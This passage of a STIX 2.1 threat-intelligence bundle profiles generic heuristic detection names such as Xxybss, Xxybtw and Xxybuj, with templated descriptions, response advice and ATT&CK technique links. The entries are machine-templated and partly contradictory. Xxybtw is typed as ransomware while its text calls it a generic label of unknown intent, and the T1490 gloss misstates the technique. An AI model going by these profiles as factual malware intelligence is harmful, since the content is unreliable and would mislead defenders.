        "Riskware.Xxybsq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybsq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybsq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0983ffe7-5381-569a-b40b-40183aae260a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b94a24dc-2d9a-59df-b6c3-d36cc6570e65",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybsq exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a642764-ede5-5f5c-934b-48cad1b40e11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b94a24dc-2d9a-59df-b6c3-d36cc6570e65",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybsq exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4f5bb16-c550-5fe3-9052-0cc843cca0b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b94a24dc-2d9a-59df-b6c3-d36cc6570e65",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybsq exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5f52096-cc41-5fb5-868d-86948a2e9bfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b94a24dc-2d9a-59df-b6c3-d36cc6570e65",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybsq exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6f4eac2-6d3f-5eb6-8e8c-d6ed1a8e9e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b94a24dc-2d9a-59df-b6c3-d36cc6570e65",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybsq exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybss",
      "description": "<h3>Executive Summary</h3>\n\"Xxybss\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file that exhibits highly obfuscated, evasive, or trojan-like behaviors that warrant immediate quarantine and investigation.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Xxybss\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Hollowing:</strong> The program attempts to execute Windows APIs (like `VirtualAllocEx`) to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n<li><strong>Unauthorized System Modifications:</strong> The file attempts to silently alter critical registry keys or create hidden scheduled tasks to establish persistence.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an Xxybss alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its dynamic behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not successfully propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybss",
        "Suspicious.Xxybss",
        "Heur.Xxybss"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybss",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybss"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48a5cb07-d72d-50a3-a493-ef55f6d59ac2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybss exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dc3e948-2393-50bc-ab8b-461343a1f77e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybss exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07526254-0e4f-575a-af67-cf264c194b5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybss exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ab16d4b-5410-5772-84af-41b953e6b6ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybss exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3c2bf35-7b08-5427-a2cb-beee09f1f57e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybss exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c89a790b-dc7c-5930-8fb7-fc0b8a36cdfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80aa07e8-9fef-5c32-9677-3ce7428dff87",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybss exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87d455e9-553b-571f-903e-e778401078cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybtw",
      "description": "<h3>Executive Summary</h3>\n\"Xxybtw\" is a generic detection identifier utilized by heuristic antivirus engines and endpoint protection platforms (EPP). It is not a distinct malware family, but rather a temporary or machine-generated label applied to an executable file that exhibits highly suspicious, potentially malicious behavior without matching a known signature.\n\n<h3>Behavioral Context and Heuristic Analysis</h3>\nThe seemingly random string \"Xxybtw\" is characteristic of automated naming conventions used by security vendors when an unknown file triggers behavioral alerts. \n\nFiles flagged with this identifier frequently exhibit behaviors common to initial access droppers, trojans, or obfuscated malware:\n<ul>\n<li><strong>High Entropy (Packing):</strong> The file is heavily obfuscated or compressed using a custom packer, a common technique to hide malicious payloads from static analysis.</li>\n<li><strong>Unauthorized System Modifications:</strong> The executable attempts to silently modify critical Windows Registry keys (e.g., `Run`, `RunOnce`) to establish persistence upon reboot.</li>\n<li><strong>Suspicious Network Activity:</strong> The program initiates outbound connections to untrusted or newly registered domains immediately upon execution, often indicative of command-and-control (C2) communication.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nDespite the generic naming convention, an Xxybtw detection must be treated as a severe security event. The generic nature of the alert means the true intent of the file is unknown; it could be a simple Potentially Unwanted Program (PUP) or the precursor to a targeted ransomware attack.\n\n<h3>Investigation and Remediation Strategy</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Instantly isolate the affected endpoint from the corporate network to prevent potential lateral movement and halt any ongoing data exfiltration or C2 communication.</li>\n<li><strong>Threat Intelligence and Sandboxing:</strong> Extract the file hash and query it against threat intelligence platforms (like VirusTotal). Simultaneously, submit the file to a secure sandbox to observe its dynamic behavior and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Proactive Threat Hunting:</strong> Utilize the IOCs gathered from the sandbox analysis (such as IP addresses, dropped file names, or specific registry changes) to sweep the entire enterprise network and ensure the threat is fully contained.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybtw",
        "Trojan.Generic",
        "Suspicious.Xxybtw"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybtw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybtw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d409b67e-3a30-5f87-9ddc-7dd5db2a3906",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d455e9-553b-571f-903e-e778401078cf",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybtw exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2b43857-6edc-5623-ba8c-c4dba43059cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d455e9-553b-571f-903e-e778401078cf",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybtw exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef12ebe9-2f20-58f2-a468-994b48a300b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d455e9-553b-571f-903e-e778401078cf",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybtw exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c13e2e1-69d1-5e74-b51e-0c4bf18b9678",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d455e9-553b-571f-903e-e778401078cf",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybtw exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a3e26aa-e209-5593-bbb3-177affdc7397",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d455e9-553b-571f-903e-e778401078cf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybtw exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybuj",
      "description": "<h3>Executive Summary</h3>\n\"Xxybuj\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file that exhibits highly obfuscated, evasive, or trojan-like behaviors that warrant immediate quarantine and investigation.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Xxybuj\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Hollowing:</strong> The program attempts to execute Windows APIs (like `VirtualAllocEx`) to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n<li><strong>Unauthorized System Modifications:</strong> The file attempts to silently alter critical registry keys or create hidden scheduled tasks to establish persistence.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an Xxybuj alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its dynamic behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not successfully propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybuj",
        "Suspicious.Xxybuj",
        "Heur.Xxybuj"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybuj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybuj"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89e5848e-f919-5775-92f6-26325ad3c9b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybuj exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--003a0b55-8b11-5c73-a993-89c5c6c5630f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybuj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73d3f260-7828-5af1-95b0-db92ee0f8a9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybuj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--997af3c7-4971-57d8-8b38-564c68a10127",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybuj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3c6376f-f1cd-5dbc-9078-8f9b75d7ee3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybuj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b923825a-70c1-58aa-a889-57e1df0262b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4e11d1f-f05f-5354-ba4d-73b9c4be2cda",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybuj exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybvi",
      "description": "<h3>Executive Summary</h3>\n\"Xxybvi\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file that exhibits highly obfuscated, evasive, or trojan-like behaviors that warrant immediate quarantine and investigation.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Xxybvi\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Hollowing:</strong> The program attempts to execute Windows APIs (like `VirtualAllocEx`) to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n<li><strong>Unauthorized System Modifications:</strong> The file attempts to silently alter critical registry keys or create hidden scheduled tasks to establish persistence.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an Xxybvi alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its dynamic behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not successfully propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybvi",
        "Suspicious.Xxybvi",
        "Heur.Xxybvi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybvi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybvi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1f006d4-097c-5a47-8a55-7f2bc96570c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybvi exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba311e9a-e5d6-5d7b-aa2f-51227fb83c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybvi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c18ac89e-194c-5741-9505-e16ebbbce293",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybvi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98e499db-6949-51cc-a3a3-dac2ed3fe142",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybvi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--623e7ad6-2313-5337-af81-0bc8bce1bb58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybvi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29d21309-8df0-51e6-b2be-73b56608e970",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8617cfe-0acc-57b9-89f3-13ce1470c1ca",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybvi exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybwe",
      "description": "<h3>Executive Summary</h3>\n\"Xxybwe\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file that exhibits highly obfuscated, evasive, or trojan-like behaviors that warrant immediate quarantine and investigation.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Xxybwe\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Hollowing:</strong> The program attempts to execute Windows APIs (like `VirtualAllocEx`) to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n<li><strong>Unauthorized System Modifications:</strong> The file attempts to silently alter critical registry keys or create hidden scheduled tasks to establish persistence.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an Xxybwe alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its dynamic behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not successfully propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybwe",
        "Suspicious.Xxybwe",
        "Heur.Xxybwe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybwe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybwe"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6a35aec-309e-5083-8cc9-5b10d2c7f1dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
